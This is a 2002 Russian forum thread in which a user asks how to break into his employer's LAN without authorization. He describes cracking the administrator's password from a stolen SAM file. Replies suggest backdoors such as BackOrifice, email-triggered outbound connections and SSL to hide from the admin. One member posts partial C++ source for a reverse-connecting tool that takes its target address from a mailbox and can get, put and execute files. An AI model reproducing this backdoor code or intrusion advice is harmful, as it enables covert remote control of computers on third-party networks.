информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Все любят медАтака на InternetСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / networking
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Уже интереснее 01.10.02 17:34  Число просмотров: 2107
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> Отсюда можно сделать вывод, что страничка к этой сети никак
> не относится. Она может лежать на хостинге у провайдера.

При пинге соседних IP-адресов попадались удивительно похожие на название фирмы имена...

> А с чего ты решил, что она дырявая?

/cgi-bin открыт + пара скриптов 1996 года, некторые читаются, все выдают ошибку.
К сожалению в CGI я не шарю ;-)

> > ВОПРОС: как распознать
> > - NAT
> > - Proxy
> > - Tunnel'и и просие пакости?
> Встречный вопрос: откуда будем распознавать?

Изнутри ЛАНа.

> Ты знаешь адреса этой сети? Они видны из инета? Ты можешь

Я могу зайти из ЛАНа например на "telnet mail.ru 25", сказать HELO и тут он мне пишет мой IP, инетовский разумеется.
Надо думать это IP гейта, шлюза,свича или чего-то ещё.
Так вот КАК узнать, что там отвечает за это?
У меня создалось впечатление, что топология Bus.

Машины - WinNT 4.0 SP6a Workstations.
SP6a - последний, или он уже дыряв? ;-)

> посмотреть настройки браузера на машине в локалке?

Да.

> Вот и посмотри настройки браузера. Попингуй какой-нибудь
> внешний адрес.

Пинговал. Из ЛАНа пакеты выходит через два хоста.
напрмер Я---192.168.200.1---192.168.0.2---INET

> > Именно в LAN фирмы. В сам комп проще.
> > Хотя вероятно первое будет через второе ;-)
> Соображаешь. Для начала надо поставить на этом компе
> программу удаленного управления (RAdmin, BackOrifice и
> т.п.), а потом заходить. Это пр условии, что коннект
> снаружи вовнутрь возможен. Если нет - писать что-то свое,
> которое по "свистку" через аську, почту и т.п. будет само
> делать коннект на указанынй ip-адрес и предоставлять
> сервис. Если изнутри невозможен прямой коннект наружу -
> плакать и кусать локти ;)

Изнутри стопудово возможен, по определению.
Внутрь..., я не разбираюсь в NAT'ах и прочей фигне.
Как её выявить?

Можно просто создать http://www.some.com/todo.txt, а комп в LAN'е заставить читать этот файл в Инете и выполнять действия, но страшновато админа. Надо шифровать под порнуху ;-)

> > > DNS?
> днс-то на кой хрен?

Может DNS-сервера LAN'а видны в Инете, тогда можно произвести атаку на DNS-кэш.

З.Ы. Спасибо за участие ;-)
<networking>
LAN через InterNet 30.09.02 02:07  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
Есть LAN с Интранет на фирме.
Есть доступ к компу внутри сетки с правами юзера.
Доступ с правами Администратора возможен (через DebPloit).

Как можно проникнуть в LAN фирмы из домашнего компа, подключённого к Инету, если это возможно?

DNS?
LAN через InterNet 01.10.02 21:53  
Автор: + <Mikhail> Статус: Elderman
<"чистая" ссылка>
> Есть LAN с Интранет на фирме.
> Есть доступ к компу внутри сетки с правами юзера.
> Доступ с правами Администратора возможен (через DebPloit).
>
> Как можно проникнуть в LAN фирмы из домашнего компа,
> подключённого к Инету, если это возможно?
>
> DNS?
Mozhet tebe eto nado ?
app - eto client (tvoi PC) (posylaet messages to execute)
webServer - eto message queue
PC - eto computer za firewallom (idet na web server za messagem, i executaet ego).
app -> webServer <- firewall <- PC

Eta baida ispolzuetsia dlia dostupa na personaluii computer behind firewall s cellphona ili s lubogo compa kotoryii imeet dostup v internet ( mozhno execute luboi COM object na PC ). Vse rabotaet v real time.
Application vyzyvaet method of COM object cherez IDispatch::Invoke()
objOnApp->Invoke(...)
objOnApp - generiruet XML ( based on Invoke arguments ) message posylaetsi na webServer. PC postoianno soedinen s webServerom i kak tolko tam est` messages dlia nego on ih polucaet i executes ( unmarshaling from XML to Invoke arguments and calls IDispatch::Invoke of remote object ( object na PC))

P.S. No eto uzhe celyi product . . .
Уточняю задачу ;-) 01.10.02 01:39  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> Есть LAN с Интранет на фирме.

... с выходом в Интернет ;-)))
и собственной страничкой в Сети, офигенно дырявой, которую так и не удалось найти сидя в LAN'е ;-)

ВОПРОС: как распознать
- NAT
- Proxy
- Tunnel'и и просие пакости?

> Есть доступ к компу внутри сетки с правами юзера.
> Доступ с правами Администратора возможен (через DebPloit).

> Как можно проникнуть в LAN фирмы из домашнего компа,
> подключённого к Инету, если это возможно?

Именно в LAN фирмы. В сам комп проще.
Хотя вероятно первое будет через второе ;-)

> DNS?

Внешние, в смысле.
Как их распознать, все адреса-то показываются локальными и мало помогут вне LAN'а.
Уточняю задачу ;-) 01.10.02 08:05  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> ... с выходом в Интернет ;-)))
> и собственной страничкой в Сети, офигенно дырявой, которую
> так и не удалось найти сидя в LAN'е ;-)
Отсюда можно сделать вывод, что страничка к этой сети никак не относится. Она может лежать на хостинге у провайдера.
А с чего ты решил, что она дырявая?

> ВОПРОС: как распознать
> - NAT
> - Proxy
> - Tunnel'и и просие пакости?
Встречный вопрос: откуда будем распознавать?
Ты знаешь адреса этой сети? Они видны из инета? Ты можешь посмотреть настройки браузера на машине в локалке?

> > Есть доступ к компу внутри сетки с правами юзера.
> > Доступ с правами Администратора возможен (через
> DebPloit).
Вот и посмотри настройки браузера. Попингуй какой-нибудь внешний адрес.


> > Как можно проникнуть в LAN фирмы из домашнего компа,
> > подключённого к Инету, если это возможно?
>
> Именно в LAN фирмы. В сам комп проще.
> Хотя вероятно первое будет через второе ;-)
Соображаешь. Для начала надо поставить на этом компе программу удаленного управления (RAdmin, BackOrifice и т.п.), а потом заходить. Это пр условии, что коннект снаружи вовнутрь возможен. Если нет - писать что-то свое, которое по "свистку" через аську, почту и т.п. будет само делать коннект на указанынй ip-адрес и предоставлять сервис. Если изнутри невозможен прямой коннект наружу - плакать и кусать локти ;)

> > DNS?
днс-то на кой хрен?

> Внешние, в смысле.
> Как их распознать, все адреса-то показываются локальными и
> мало помогут вне LAN'а.
А переведи теперь эту фразу на русский или английский ;)
Что распознать и кому показываются адреса?
Уже интереснее 01.10.02 17:34  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> Отсюда можно сделать вывод, что страничка к этой сети никак
> не относится. Она может лежать на хостинге у провайдера.

При пинге соседних IP-адресов попадались удивительно похожие на название фирмы имена...

> А с чего ты решил, что она дырявая?

/cgi-bin открыт + пара скриптов 1996 года, некторые читаются, все выдают ошибку.
К сожалению в CGI я не шарю ;-)

> > ВОПРОС: как распознать
> > - NAT
> > - Proxy
> > - Tunnel'и и просие пакости?
> Встречный вопрос: откуда будем распознавать?

Изнутри ЛАНа.

> Ты знаешь адреса этой сети? Они видны из инета? Ты можешь

Я могу зайти из ЛАНа например на "telnet mail.ru 25", сказать HELO и тут он мне пишет мой IP, инетовский разумеется.
Надо думать это IP гейта, шлюза,свича или чего-то ещё.
Так вот КАК узнать, что там отвечает за это?
У меня создалось впечатление, что топология Bus.

Машины - WinNT 4.0 SP6a Workstations.
SP6a - последний, или он уже дыряв? ;-)

> посмотреть настройки браузера на машине в локалке?

Да.

> Вот и посмотри настройки браузера. Попингуй какой-нибудь
> внешний адрес.

Пинговал. Из ЛАНа пакеты выходит через два хоста.
напрмер Я---192.168.200.1---192.168.0.2---INET

> > Именно в LAN фирмы. В сам комп проще.
> > Хотя вероятно первое будет через второе ;-)
> Соображаешь. Для начала надо поставить на этом компе
> программу удаленного управления (RAdmin, BackOrifice и
> т.п.), а потом заходить. Это пр условии, что коннект
> снаружи вовнутрь возможен. Если нет - писать что-то свое,
> которое по "свистку" через аську, почту и т.п. будет само
> делать коннект на указанынй ip-адрес и предоставлять
> сервис. Если изнутри невозможен прямой коннект наружу -
> плакать и кусать локти ;)

Изнутри стопудово возможен, по определению.
Внутрь..., я не разбираюсь в NAT'ах и прочей фигне.
Как её выявить?

Можно просто создать http://www.some.com/todo.txt, а комп в LAN'е заставить читать этот файл в Инете и выполнять действия, но страшновато админа. Надо шифровать под порнуху ;-)

> > > DNS?
> днс-то на кой хрен?

Может DNS-сервера LAN'а видны в Инете, тогда можно произвести атаку на DNS-кэш.

З.Ы. Спасибо за участие ;-)
Уже интереснее 02.10.02 07:52  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> При пинге соседних IP-адресов попадались удивительно
> похожие на название фирмы имена...
это еще ни о чем не говорит

> > А с чего ты решил, что она дырявая?
>
> /cgi-bin открыт + пара скриптов 1996 года, некторые
> читаются, все выдают ошибку.
> К сожалению в CGI я не шарю ;-)
в цги и не надо шарить. ты знаешь, сколько архаровцев ломится на наш сервер отправлять спам через formmail.cgi? а все потому, что их сканер сперва проверяет его наличие. а наш сервер очень вежливый, он не возвращает ошибку 404 (ибо этого formmail отродясь у нас не водилось), но выдает код 200 и страничку с нормальным человеческим объяснением, что типа урла такого нету ;)

> > Встречный вопрос: откуда будем распознавать?
>
> Изнутри ЛАНа.
замечательно

> Надо думать это IP гейта, шлюза,свича или чего-то ещё.
> Так вот КАК узнать, что там отвечает за это?
tracert
> У меня создалось впечатление, что топология Bus.
блин, причем тут топология вообще?!

> Пинговал. Из ЛАНа пакеты выходит через два хоста.
> напрмер Я---192.168.200.1---192.168.0.2---INET
понятно. NAT.


> Изнутри стопудово возможен, по определению.
> Внутрь..., я не разбираюсь в NAT'ах и прочей фигне.
> Как её выявить?
уже выявили. там NAT и коннект снаружи невозможен.


> Можно просто создать http://www.some.com/todo.txt, а комп в
> LAN'е заставить читать этот файл в Инете и выполнять
> действия, но страшновато админа. Надо шифровать под порнуху
> ;-)
вот именно, что шифровать. сделай через ssl и админ будет отдыхать ;)

> Может DNS-сервера LAN'а видны в Инете, тогда можно
> произвести атаку на DNS-кэш.
ну ты сам-то понял, что сказал?
нахрена ДНС-сервера закрытого от инета лана вывешивать в инет? разве что админ - "злоумышленный вредитель" ;)
Уже интереснее 02.10.02 15:10  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> > При пинге соседних IP-адресов попадались удивительно
> > похожие на название фирмы имена...
> это еще ни о чем не говорит

У меня сложилось впечатление, что они таки имеют 10-20 ИП в сетке класса С.
> в цги и не надо шарить. ты знаешь, сколько архаровцев
> ломится на наш сервер отправлять спам через formmail.cgi? а
> все потому, что их сканер сперва проверяет его наличие. а
> наш сервер очень вежливый, он не возвращает ошибку 404 (ибо
> этого formmail отродясь у нас не водилось), но выдает код
> 200 и страничку с нормальным человеческим объяснением, что
> типа урла такого нету ;)

А если там этот форммайл лежит?

> > Надо думать это IP гейта, шлюза,свича или чего-то ещё.
> > Так вот КАК узнать, что там отвечает за это?
> tracert

Сделал. Получил много ИП и соостветствующие им имена.
Кстати, где можно почитать про WINS-Server, или в 2 словах, что это?

> > У меня создалось впечатление, что топология Bus.
> блин, причем тут топология вообще?!

Сниффить через Хаб? Свич? Роутер? Как их распознать?

> понятно. NAT.

Гдк можно о нём почитать, для общего представления?

> уже выявили. там NAT и коннект снаружи невозможен.

В смысле прямой коннект невозможен.

> > Может DNS-сервера LAN'а видны в Инете, тогда можно
> > произвести атаку на DNS-кэш.
> ну ты сам-то понял, что сказал?

Да.

> нахрена ДНС-сервера закрытого от инета лана вывешивать в
> инет? разве что админ - "злоумышленный вредитель" ;)

У меня сложилось впечатление, что админа нихрена на соображает.
Полгода назад поставил запрет на утягивание .sam из /repair, откуда я успел вытащить его пароль - из 7букв вскрытый полным перебором за 2 часа.
На половине компов пароль на БИОС не стоит. NT 4.0 SP 6, кое-где SP 5.
Outlook 97, уже 4 года нихрена не патчено.
Неудачная система распределения паролей и логинов.
Но я за сидя за машиной не могу проявлять сильную активность - вокрук люди ;-)
Уже интереснее 02.10.02 15:32  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> > этого formmail отродясь у нас не водилось), но выдает
> код
> > 200 и страничку с нормальным человеческим объяснением,
> что
> > типа урла такого нету ;)
>
> А если там этот форммайл лежит?
ты про нас? точно не лежит. я веду речь о том, что проверять наличие дырявых скриптов лишь по коду возврата сканера - некорректно.

> > > Надо думать это IP гейта, шлюза,свича или чего-то
> ещё.
> > > Так вот КАК узнать, что там отвечает за это?
> > tracert
>
> Сделал. Получил много ИП и соостветствующие им имена.
ну так смотри на эту цепочку и медитируй. это последовательность прохождения пакета, из нее можно понять где шлюз. или покажи мне (можешь мылом).

> Кстати, где можно почитать про WINS-Server, или в 2 словах,
> что это?
в 2 словах - это DNS для виндов ;)
читать, как обычно на www.opennet.ru и www.citforum.ru

> > > У меня создалось впечатление, что топология Bus.
> > блин, причем тут топология вообще?!
>
> Сниффить через Хаб? Свич? Роутер? Как их распознать?
А зачем сниффить-то? ты уж определись, чего хочишь, а то скачешь с одного на другое...

> > понятно. NAT.
>
> Гдк можно о нём почитать, для общего представления?
как обычно на www.opennet.ru и www.citforum.ru


> > уже выявили. там NAT и коннект снаружи невозможен.
>
> В смысле прямой коннект невозможен.
снаружи - никакой. я имею ввиду установление Tcp-соединения, а не логическое взаимодействие.


> > > Может DNS-сервера LAN'а видны в Инете, тогда
> можно
> > > произвести атаку на DNS-кэш.
> > ну ты сам-то понял, что сказал?
>
> Да.
ужас ;) как ты плохо думаешь о людях ;)


> У меня сложилось впечатление, что админа нихрена на
> соображает.
;))

> Но я за сидя за машиной не могу проявлять сильную
> активность - вокрук люди ;-)
а тебе нафига все это надо? просто напакостить?
Уже интереснее 02.10.02 15:40  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> > А если там этот форммайл лежит?
> ты про нас? точно не лежит. я веду речь о том, что
> проверять наличие дырявых скриптов лишь по коду возврата
> сканера - некорректно.

Про "своих". Я проверял ручками ;-)

> ну так смотри на эту цепочку и медитируй. это
> последовательность прохождения пакета, из нее можно понять
> где шлюз. или покажи мне (можешь мылом).

ОК. На неделе достану.

> А зачем сниффить-то? ты уж определись, чего хочишь, а то
> скачешь с одного на другое...

- Обойти ограничения системы безопасности.
Для этого может понадобиться:
- Сниффить
- Сканить
- Установка закладки
- экплоиты
- ...

> > > ну ты сам-то понял, что сказал?
> >
> > Да.
> ужас ;) как ты плохо думаешь о людях ;)

Я должен был не понять, то, что я сказал? ;-))

> а тебе нафига все это надо? просто напакостить?

Мне интересно, насколько далеко я могу "пройти" не оставляя следов и ничего не изменяя. Также пароли, на стенку повесить.
Думаю говорить, что формат С: и подобное делать я не собираюсь - лишнее.
Уже интереснее 03.10.02 08:43  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> > А зачем сниффить-то? ты уж определись, чего хочишь, а
> то
> > скачешь с одного на другое...
>
> - Обойти ограничения системы безопасности.
> Для этого может понадобиться:
> - Сниффить
> - Сканить
> - Установка закладки
> - экплоиты
> - ...
набор слов какой-то...
зачем сниффить и сканить? ты же сначала писал четкую задачу: получить доступ к компу извне (цели не уточнялись). локальный доступ с правами юзера есть, как получить админа - знаешь. ну так получай админа, ставь закладку и имей доступ снаружи.
а то начались какие-то снифферы... Борис, у меня ощущение, что ты сам не знаешь, чего хочешь, обнаружив плохо защищенную сеть. проверка "как я далеко могу зайти" - очень странный аргумент. заходят с определенной целью. ты хочешь проверить, сможешь ли ты порулить бухгалтерией? распечатать коммерческую тайну? не знаю, как там у вас, но в России такие эксперименты чреваты ст 272 и 183 УК. оно тебе надо? ты надеешься, что показав руководству фирмы дырявость сети и слабую квалификацию админа, ты получишь кучу денег или должность этого админа с хорошим окладом? а не боишься, что сам окажешься в его шкуре?

> > > > ну ты сам-то понял, что сказал?
> > >
> > > Да.
> > ужас ;) как ты плохо думаешь о людях ;)
>
> Я должен был не понять, то, что я сказал? ;-))
ты мог думать одно, а строя витиеватую фразу, написать совсем другое.
кроме того, я тебе могу показать пару-тройку сетей, где DNS-сервера отдают наружу список внутренних хостов. кому и что ты отравишь (кэш), а главное - что в результате получишь?

> Мне интересно, насколько далеко я могу "пройти" не оставляя
> следов и ничего не изменяя. Также пароли, на стенку
> повесить.
ты же sam унес - подбирай и вешай.
Уже интереснее 03.10.02 16:11  
Автор: Renkvil <Boris> Статус: Member
<"чистая" ссылка>
> а то начались какие-то снифферы... Борис, у меня ощущение,
> что ты сам не знаешь, чего хочешь, обнаружив плохо

Да, чётко выраженной цели в этом взломе у меня нет, разве что научиться нетхаку, никому не вредя.

> защищенную сеть. проверка "как я далеко могу зайти" - очень
> странный аргумент. заходят с определенной целью. ты хочешь
> проверить, сможешь ли ты порулить бухгалтерией? распечатать
> коммерческую тайну? не знаю, как там у вас, но в России
> такие эксперименты чреваты ст 272 и 183 УК. оно тебе надо?

Тож чревато.
Но я осторожно ;-)

> ты надеешься, что показав руководству фирмы дырявость сети
> и слабую квалификацию админа, ты получишь кучу денег или
> должность этого админа с хорошим окладом? а не боишься, что
> сам окажешься в его шкуре?

Нет, я не собираюсь это никому показывать, а тем более становиться админом.

> кроме того, я тебе могу показать пару-тройку сетей, где

Нарисуй ;-)

> DNS-сервера отдают наружу список внутренних хостов. кому и
> что ты отравишь (кэш), а главное - что в результате
> получишь?

У меня в этом нет практики.
Поэтому и практикуюсь. Точнее хочу.

> ты же sam унес - подбирай и вешай.

Он не настощий - из /repair

Настоящий так не достаётся ;-)
Уже интереснее 04.10.02 07:44  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> Да, чётко выраженной цели в этом взломе у меня нет, разве
> что научиться нетхаку, никому не вредя.
так ты уж определись колеса или травка (с) анек ;)

> > что ты отравишь (кэш), а главное - что в результате
> > получишь?
>
> У меня в этом нет практики.
> Поэтому и практикуюсь. Точнее хочу.
ага, логика примерно следующая: "я тут хочу похачить немного, получить доступ к компу извне. слышал, что есть такая вещь, как dns-poison, нафиг она нужна не в курсе, но может, попробовать ее применить".
Борис, может быть тебе начать с того, что разобраться как работают методы, о которых ты "просто слышал", а главное - зачем их применяют. а то мне этот процесс все больше напоминает анекдот про фермера и консалтинговую фирму...


> > ты же sam унес - подбирай и вешай.
> Он не настощий - из /repair
> Настоящий так не достаётся ;-)
если ты говоришь, что с паролями бардак, то далеко не все из них поменяны.
кстати, а ты можешь загрузиться с дискеты на интересующем тебя компе?
Ну и последнее, до кучи. ok ? 01.10.02 10:04  
Автор: PS <PS> Статус: Elderman
<"чистая" ссылка>
> Если изнутри невозможен прямой коннект наружу -
> плакать и кусать локти ;)

Или чуть поднапрячся и написать сервис который будет воспринимать команды из почты, обрабатывать их и результаты той же почтой отправлять ;)
Почему почтой ? Потому что это проще всего.

P.S. сейчас кто то опять подумает про пассатижи :))))
LAN через InterNet 30.09.02 07:37  
Автор: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
> Есть LAN с Интранет на фирме.
т.е. соединения этой сети с интернет нет

> Есть доступ к компу внутри сетки с правами юзера.
> Доступ с правами Администратора возможен (через DebPloit).
>
> Как можно проникнуть в LAN фирмы из домашнего компа,
> подключённого к Инету, если это возможно?
никак

p.s. даже если соединение с инетом есть (иначе вопрос вообще бессмысленен), то с вероятностью 99% там стоит динамический NAT, и установить соединение снаружи внутрь сети просто невозможно.
Почему не возможно ? Элементарно, Ватсен ;) 30.09.02 09:35  
Автор: PS <PS> Статус: Elderman
<"чистая" ссылка>
Такой вопрос обычно ставят люди, которые хотят из дома получить доступ к рабочему компу. Тогда можно реализовать такую схему:
Из дома посылается письмо, на извесный адрес, с указанием домашнего IP.
Каждые пять минут машина на работе проверяет ящик. Как только письмо с адресом полученно - устанавливает коннет.
Клиентик с сервачком пишится за пол дня. Так что все реально.
В пятницу вечером запускаешь на работе такого демона и все выходные ходишь по своему рабочему компу.
Да уж ;-) 30.09.02 19:32  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
> Такой вопрос обычно ставят люди, которые хотят из дома
> получить доступ к рабочему компу. Тогда можно реализовать
> такую схему:
> Из дома посылается письмо, на извесный адрес, с указанием
> домашнего IP.
> Каждые пять минут машина на работе проверяет ящик. Как
> только письмо с адресом полученно - устанавливает коннет.

В смысле, коннект, это как? Ну и толку от такого коннекта, когда соединения можно инициировать только ОТТУДА, с работы? Это какой-то односторонний коннект получается ;-))))))))))))
А вообще, господин PS знает, как устанавливаются соединения по TCP/IP?
Да уж ;-) 30.09.02 21:20  
Автор: PS <PS> Статус: Elderman
Отредактировано 30.09.02 21:41  Количество правок: 2
<"чистая" ссылка>
> В смысле, коннект, это как? Ну и толку от такого коннекта,
> когда соединения можно инициировать только ОТТУДА, с
> работы? Это какой-то односторонний коннект получается
> ;-))))))))))))

Объясни по человечески что значит "односторонний" ? Очень интересный термин.
Что касательно толку - тоже, можешь расскажешь, в чем разница между двумя узлами если соединение установленно ? И не важно кто был инициатором ?
Или ты считаешь, что если узел B установил соединение с узлом A, то узел A ну никак не может посылать B данных ? Интересно, а мы тут вот к веб серверу коннектимся, а он к нам сам - нет. Тоже, блин, "односторонее" подключение. Вот черт, да ? Может что в консерватории не так ?

> А вообще, господин PS знает, как устанавливаются соединения
> по TCP/IP?

Может ты объяснишь ?
И вообще, скажи по человечески, что тебе не понравилось в моей "идеи" ?

Только еще один "господин PS" и ты нарвешся на грубость ;)
Уже и так этот мессадж поправил, надеюсь первый вариант не многие успели увидеть ;)))
Ладно, грубить не будем. Будем разбираться ;-) 01.10.02 21:30  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
> > В смысле, коннект, это как? Ну и толку от такого
> коннекта,
> > когда соединения можно инициировать только ОТТУДА, с
> > работы? Это какой-то односторонний коннект получается
> > ;-))))))))))))

> Объясни по человечески что значит "односторонний" ? Очень
> интересный термин.
Односторонний, это значит не можешь пингануть тачку на работе, не можешь подключиться к BackOriffice, там установленной, и проч. — не можешь, в конце-концов по NetMeeting на морду своего коллеги посмотреть, поскольку там они (в смысле два NetMeeting'а), динамически порты маппят на соединение, уродство а-ля Microsoft.

> Что касательно толку - тоже, можешь расскажешь, в чем
> разница между двумя узлами если соединение установленно ? И
> не важно кто был инициатором ?
Это надо писать сервер, который будет крутиться там, в защищённой сети, и сам будет устанавливать с тобой соединение. И у тебя дома должна крутиться некая шняга, эмулирующая, к примеру, сетевой интерфейс, по которому будут уходить туда, на работу пакеты, и там запускаться во внутреннюю сеть.

> Может ты объяснишь ?
> И вообще, скажи по человечески, что тебе не понравилось в
> моей "идеи" ?

А в Вашей идее, господин PS (шучу я, не надо грубостей, хошь, меня так же назови. Вот, мля, Россия — назовёшь вежливо, а тебе говорят: не груби! ;-) мне не понравилось утверждение, что клиент и сервер будет написан за пол-дня ;-)
Давай, пиши, выкладывай в сеть — очень многим пригодится, поскольку практически все сидят под NAT или под Proxy — услышишь от людей БОЛЬШОЕ СПАСИБО. А специалистов по "плоскогубцам и тискам" не так уж много, авось пропустят ;-)
Битва ?! 02.10.02 20:14  
Автор: PS <PS> Статус: Elderman
<"чистая" ссылка>
> А в Вашей идее, господин PS (шучу я, не надо грубостей,
> хошь, меня так же назови. Вот, мля, Россия — назовёшь
> вежливо, а тебе говорят: не груби! ;-) мне не понравилось
> утверждение, что клиент и сервер будет написан за пол-дня
> ;-)
> Давай, пиши, выкладывай в сеть — очень многим пригодится,
> поскольку практически все сидят под NAT или под Proxy —
> услышишь от людей БОЛЬШОЕ СПАСИБО. А специалистов по
> "плоскогубцам и тискам" не так уж много, авось пропустят
> ;-)

Ну что ж. Я ошибся. Клиент- сервер пишится не за пол дня. Я написал его за два часа, включая поиск pop3 модуля.
Что он может:
1. Коннектится по свистку (мыло).
2. Делать get, put, exec файлов. Эдакий ftp только с вывернутым наизнанку подключением.

Пример мыла:
<IP=111.111.111.111>
<PORT=4000>

Файлы pop3.c, pop3.h НЕ МОИ, скаченны из инета. Надеюсь автор не против.

Приложение НЕ safe !
При обнаружение багов (ничего не отлаживал, пару раз запустил - работает, ну и ладно) - можете никому о них не сообщать. У вас есть код, его и правте, мне до него уже дела нет.

Если нужна нормальная прога (safe, bug-free), с функциональностью какую пожелаете - можете обращаться. Любой каприз за ваши ДЕНЬГИ !

Надеюсь скомпилировать сможете. Сервер запускается без параметров, для клиента нужен его IP и port.

Ящик не очищается, но письмо должно приходить в ПУСТОЙ ящик ! Заботесь об этом сами.

main.cpp
#include <afxtempl.h>
#include <winsock.h>
#include <afxwin.h>
#include <stdio.h>
#include <string>
#include <process.h>
#include "pop3.h"

using namespace std;

int WaitForMessage( string& my_ip, string& my_port );
void ExecuteCommands();
int GetFile( const char* param, int sizeParam );
int PutFile( const char* param, int sizeParam );

SOCKET sock;
SOCKET listener;

#define M_SERVER
//#define M_CLIENT

void main( int argc, char** argv )
{
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
 
	wVersionRequested = MAKEWORD( 2, 2 );
 
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 ) 
	{		
		printf( "Error: WSAStartup faild with code %ld\n", err );
		return;
	}
#ifdef M_SERVER
	printf( "Server started.\n" );	

	string my_ip, my_port;	
lable2:
	bool ipExist = false;
	while( !ipExist )
	{		
		printf( "Waiting a message with IP...\n" );
		if( WaitForMessage( my_ip, my_port ) < 0 )
		{
			printf( "End.\n" );
		}

		if( my_ip.size() == 0|my_port.size() == 0 )
		{
			printf( "The mail was recived, however ip or port is empty !" );
			Sleep(30000);
			continue;
		}

		ipExist = true;
	}

	printf( "IP = %s  PORT = %s\n", my_ip.c_str(), my_port.c_str() );
	
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_port   = htons( atol(my_port.c_str()) );
	addr.sin_addr.S_un.S_addr = inet_addr( my_ip.c_str() );
	sock = socket( AF_INET, SOCK_STREAM, 0 );
	int res = connect( sock, (struct sockaddr*)&addr, sizeof( struct sockaddr_in ) );
	if( res == SOCKET_ERROR )
	{
		printf( "Cant connect to server!\n" );
		Sleep( 30000 );
		goto lable2;
	}

	ExecuteCommands();
	closesocket( sock );
	printf( "Connection broken\n" );
	goto lable2;

	return;
#endif

#ifdef M_CLIENT
	char command[1024];
	char param[1024];

	printf( "Client started.\n" );
	printf( "Waiting for connect...\n" );

	listener = socket( AF_INET, SOCK_STREAM, 0 );
	if( listener == INVALID_SOCKET )
		return;

	struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_port   = htons( atol(argv[2]) );
	addr.sin_addr.S_un.S_addr = inet_addr( argv[1] );
	if( bind( listener, (struct sockaddr*)&addr, sizeof(struct sockaddr_in) ) == SOCKET_ERROR )
	{	
		closesocket( listener );
		printf( "Bind failed.\n" );
		return;
	}

	if( listen( listener, 1 ) == SOCKET_ERROR )
	{		
		closesocket( listener );
		printf( "Listen failed.\n" );
		return;
	}

	sock = accept( listener, NULL, NULL );
	if( sock == INVALID_SOCKET)
	{
		printf( "Accept failed.\n" );
		return;
	}

label4:
	printf( ">" );
	gets( command );
	if( command[0] == 'h'|command[0] == 'H'|command[0] == '?')
	{
		printf( "h - help\ng - get file\np - put file\ne - execute file\nq - quit\n" );
		goto label4;
	}
	else if( command[0] == 'g' )
	{
		printf( "Enter file name:" );
		memset( param, 0, 1024 );
		gets( param );
		short commandLen = strlen( param ) + 1;
		char* commandBuffer = new char[commandLen];
		if( commandBuffer == NULL )
			return;
		commandBuffer[0] = 0x01;
		memcpy( commandBuffer + 1, param, strlen( param ) );

		int res = send( sock, (char*)&commandLen, sizeof(short), 0 );
		if( res == SOCKET_ERROR )
		{
			delete[] commandBuffer;
			return;
		}

		int pos = 0;
		short len = commandLen;		
		while( len > 0 )
		{
			res = send( sock, commandBuffer + pos, len, 0 );
			if( res == SOCKET_ERROR )
			{				
				
				delete[] commandBuffer;
				return;
			}
			pos += res;
			len -= res;
		}
		delete[] commandBuffer;

		short pkgSize;
		res = recv( sock, (char*)&pkgSize, sizeof(short), 0 );
		if( res == SOCKET_ERROR )
		{
			printf( "Receive Packet size failed.\n" );
			return;
		}

		char* buffer = new char[pkgSize];
		if( buffer == NULL )
		{
			printf( "Buffer is NULL.\n" );
			return;
		}
		
		pos = 0;
		len = pkgSize;
		
		while( len > 0 )
		{
			res = recv( sock, buffer + pos, len, 0 );
			if( res == SOCKET_ERROR )
			{
				printf( "Receive Packet failed.\n" );
				return;
			}

			pos += res;
			len -= res;
		}

		if( buffer[0] == 0x2 )
		{
		// goto put file
			if( PutFile( buffer + 1, pkgSize - 1 ) < 0 )
				return;
		
		}

		delete[] buffer;
		printf( "OK\n" );
		goto label4;

	}
	else if( command[0] == 'p' )
	{
		printf( "Enter file name:" );
		memset( param, 0, 1024 );
		gets( param );
		
		FILE* file = fopen( param, "rb" );
		if( file == NULL )
		{
			printf( "Cant open file.\n" );
			goto label4;
		}

		fseek( file, 0, SEEK_END );
		int fileSize = ftell( file );
		fseek( file, 0, SEEK_SET );
		char* fileBuffer = new char[fileSize];
		if( !fileBuffer )
		{
			printf( "oops.\n" );
			goto label4;
		}

		fread( fileBuffer, fileSize, 1, file );
		fclose( file );

		short commandSize = 1 + strlen(param) + 1 + fileSize;
		char* commandBuffer = new char[commandSize];
		if( !commandBuffer )
		{
			printf( "oops.\n" );
			delete[] fileBuffer;
			goto label4;
		}

		commandBuffer[0] = 0x02;
		strcpy( commandBuffer + 1, param );
		memcpy( commandBuffer + 1 + strlen( param ) + 1, fileBuffer, fileSize );
		int res = send( sock, (char*)&commandSize, sizeof(short), 0 );
		if( res == SOCKET_ERROR )
		{
